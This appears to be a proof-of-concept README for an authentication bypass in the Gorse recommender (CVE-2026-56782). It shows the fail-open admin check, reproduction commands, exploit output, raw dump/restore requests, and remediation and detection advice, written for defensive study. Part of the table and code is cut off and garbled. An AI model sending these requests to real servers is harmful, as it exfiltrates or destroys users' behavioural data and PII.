## https://sploitus.com/exploit?id=2FA22502-8DE9-5029-A733-3794A93C93F9
# CVE-2026-56782 β Gorse Unauthenticated Database Dump / Restore (Auth Bypass)
> **Gorse ` `/api/dump` and `/api/restore` are gated by an admin check that **fails open**
> when no key is configured β the default. An unauthenticated, network-reachable
> attacker can **exfiltrate the entire dataset** (users, items, feedback / PII) or
> **overwrite it**.
| | |
|---|---|
| **CVE** | CVE-2026-56782 |
| **Affected** | Gorse ` everyone is admin
}
if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
return true
}
return false
}
func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // streams every user, item and feedback row
}
func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
... // m.Restore(request.Body) β overwrites the dataset
}
```
The shipped `config/config.toml` sets `admin_api_key = ""`. With the default
config, `checkAdmin()` returns `true` for **every** request β the `X-API-Key`
header is never consulted β so both endpoints are world-readable and world-writable.
## Impact
* **Confidentiality** β `GET /api/dump` streams the full database: every user id
and labels, every item, and the entire feedback graph (who interacted with what).
For a recommender backing a real product this is bulk PII / behavioural data.
* **Integrity / Availability** β `POST /api/restore` replaces the dataset with
attacker-supplied content, enabling silent data poisoning or destruction.
## Reproduce
```bash
# 1. Start the vulnerable server (official image, default config = no auth).
docker compose -f lab/docker-compose.yml up -d
# --playground seeds a real users/items/feedback dataset to exfiltrate.
# 2. Run the PoC (no credentials).
python3 exploit.py http://127.0.0.1:8088 -o dump.bin
```
Observed:
```
[*] GET http://127.0.0.1:8088/api/dump (no X-API-Key header)
[*] HTTP 200 content-type: application/octet-stream
[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
users : 2079
items : 22320
feedback : 331901
payload : 262747105 protobuf bytes
sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973
[*] POST http://127.0.0.1:8088/api/restore (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.
```
A bogus `X-API-Key` header still returns `200` β confirming the key is ignored
entirely when `admin_api_key` is unset (the fail-open path), not merely matched.
## Raw requests
```http
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
```
```http
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream
```
## Remediation
* Upgrade to **Gorse β₯ 0.5.10**, which removes the empty-key fail-open from the
admin check (an unset key no longer grants access).
* As a stop-gap on affected versions, set a strong `admin_api_key` (and
`dashboard` credentials), terminate TLS in front of the master, and never expose
the master HTTP port (`8088`) to untrusted networks.
## Detection
Alert on `GET /api/dump` or `POST /api/restore` to the master port from any client
lacking a valid `X-API-Key`, and on large `application/octet-stream` responses from
`/api/dump`.
See [`ANALYSIS.md`](ANALYSIS.md) for the request flow, the dump stream format, and
the patch.
---
* Author: **Caio FabrΓcio** β [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original CVE reporter; this repository is an
independent reproduction for defensive and educational use. For authorized
security testing only.